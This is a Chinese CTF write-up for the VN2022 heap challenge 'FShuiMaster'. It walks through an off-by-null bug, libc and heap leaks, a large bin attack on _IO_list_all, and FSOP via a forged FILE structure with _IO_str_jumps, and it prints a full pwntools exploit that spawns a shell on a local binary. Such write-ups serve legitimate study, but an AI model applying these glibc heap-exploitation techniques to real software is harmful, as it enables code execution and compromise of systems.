VN2022复现_FShuiMaster
196082 慢慢好起来

这道题目只有三解,但是确实是有难度,这里我只写上思路在这周内补上以上知识点的文章。

首先题目的保护是全开的,在edit内存在明显的off by null,然后在increase函数里限制了chunk的大小必须为large chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall get_Input(__int64 a1, unsigned __int64 a2)
{
char buf; // [rsp+1Fh] [rbp-11h] BYREF
unsigned __int64 i; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0LL; i < a2; ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
exit(0);
if ( buf == 10 )
{
*(a1 + i) = 0;
break;
}
*(i + a1) = buf;
}
if ( i == a2 )
*(a1 + a2) = 0;
return 0LL;
}

第一步就是利用off by null来leak libc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
create(0x440, b'')  # 0
create(0x448, b'') # 1
create(0x4f0, b'') # 2
create(0x440, b'') # 3

delete(0)
edit(1, b'a'*0x440+p64(0x8a0))
delete(2)
create(0x440, b'') # 4
show(1)
r.recvline()
main_arena_96 = u64(r.recvuntil(
b'\n\nOne: increase a page of U book', drop=True).ljust(8, b'\x00'))
print(hex(main_arena_96))
malloc_hook = (main_arena_96 & 0xFFFFFFFFFFFFF000) + \
(libc.symbols['__malloc_hook'] & 0xfff)
print(hex(malloc_hook))
libc_base = malloc_hook-libc.symbols['__malloc_hook']

因为我是复现所以我的思路是根据其他exp的,其实按照我的写法是没必要泄漏heap的地址的,但是我写了还是贴出来吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
create(0x448, b'')  # 5 1
create(0x448, b'') # 6

create(0x440, b'') # 7
create(0x448, b'') # 8
create(0x450, b'') # 9
create(0x440, b'') # 10
delete(7)
delete(9)
create(0x440, b'a'*7) # 11
show(11)
r.recvuntil(b'a'*7+b'\n')
heap_addr = u64(r.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
print('heap_addr=>', hex(heap_addr))

后面就是FSOP的内容了,在glibc2.24及以后,添加了vtable check的保护措施,所以不能直接修改vtable的值(会有专门解释FSOP的文章)。

又因为FILE结构体其实是用_IO_list_all来维护的(其中储存着_IO_2_1_stderr_的地址),所以我们这里只需要修改其中的值到一个chunk,然后将vtable的值换为_IO_str_jumps-8,并且根据要求构造FILE结构体就好。

最后使用large bin attack(也会有专门解释各glibc版本下的利用方式)。将_IO_list_all改为堆地址然后将相应的堆内容换为构造的FILE结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *

elf = ELF('./FShuiMaster')
libc = ELF('./libc-2.27.so')
r = process('./FShuiMaster')

context.log_level = 'debug'


def create(size, content):
r.recvuntil(b'Five: Finished!\n')
r.sendline(b'1')
r.recvuntil(b'Number of words?')
r.sendline(bytes(str(size), encoding='utf8'))
r.recvuntil(b'please input U character')
r.sendline(content)


def edit(id, content):
r.recvuntil(b'Five: Finished!\n')
r.sendline(b'2')
r.recvuntil(b'please input the page U want 2 change')
r.sendline(bytes(str(id), encoding='utf8'))
r.recvuntil(b'Now Change U this page : ')
r.sendline(content)


def delete(id):
r.recvuntil(b'Five: Finished!\n')
r.sendline(b'3')
r.recvuntil(b'please Input the page U want 2 tear off')
r.sendline(bytes(str(id), encoding='utf8'))


def show(id):
r.recvuntil(b'Five: Finished!\n')
r.sendline(b'4')
r.recvuntil(b'please Input The page U want 2 scan')
r.sendline(bytes(str(id), encoding='utf8'))


def pack_file(_IO_read_base=0, _IO_write_base=0, _IO_write_ptr=0, _IO_buf_base=0, _mode=0, vtable=0):
IO_FILE = p64(0)*3+p64(_IO_read_base) + \
p64(_IO_write_base)+p64(_IO_write_ptr)+p64(0)+p64(_IO_buf_base)
IO_FILE = IO_FILE.ljust(0xc0, b'\x00')
IO_FILE += p32(_mode)
IO_FILE = IO_FILE.ljust(0xd8, b'\x00')+p64(vtable)
return IO_FILE


r.recvuntil(b'Please Write U Name on the Book\n')
r.sendline(b'196082')

create(0x440, b'') # 0
create(0x448, b'') # 1
create(0x4f0, b'') # 2
create(0x440, b'') # 3

delete(0)
edit(1, b'a'*0x440+p64(0x8a0))
delete(2)
create(0x440, b'') # 4
show(1)
r.recvline()
main_arena_96 = u64(r.recvuntil(
b'\n\nOne: increase a page of U book', drop=True).ljust(8, b'\x00'))
print(hex(main_arena_96))
malloc_hook = (main_arena_96 & 0xFFFFFFFFFFFFF000) + \
(libc.symbols['__malloc_hook'] & 0xfff)
print(hex(malloc_hook))
libc_base = malloc_hook-libc.symbols['__malloc_hook']

create(0x448, b'') # 5 1
create(0x448, b'') # 6

create(0x440, b'') # 7
create(0x448, b'') # 8
create(0x450, b'') # 9
create(0x440, b'') # 10
delete(7)
delete(9)
create(0x440, b'a'*7) # 11
show(11)
r.recvuntil(b'a'*7+b'\n')
heap_addr = u64(r.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
print('heap_addr=>', hex(heap_addr))

system_addr = libc_base+libc.symbols['system']
bin_sh_addr = libc_base+next(libc.search(b'/bin/sh'))
IO_list_all = libc_base+libc.symbols['_IO_list_all']
IO_str_jumps = libc_base + 0x3e8360
print('_IO_list_all=>', hex(IO_list_all))
print('_IO_str_jumps=>', hex(IO_str_jumps))
file_struct = pack_file(IO_list_all, 0, 1, bin_sh_addr, 0, IO_str_jumps-8)
file_struct += p64(0)+p64(system_addr)

create(0x440, b'') # 12

create(0x440, b'') # 13
create(0x458, b'') # 14
create(0x4f0, b'') # 15
create(0x440, b'') # 16
delete(13)
edit(14, b'a'*0x450+p64(0x8b0))
delete(15)

create(0x440, b'') # 17
create(0x458, b'') # 18 14
delete(1)
create(0x4f0, b'') # 19
create(0x470, b'') # 20
delete(18)
edit(5, p64(main_arena_96)+p64(IO_list_all-0x10))
create(0x500, b'')
edit(14, file_struct[0x10:])

r.recvuntil(b'Five: Finished!\n')
r.sendline(b'5')

# gdb.attach(r)

r.interactive()

其他师傅只使用一次off by null,我一直卡在最后构造结构体的位置,换换脑子过后想到了用两次off by null来解决这个问题。

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量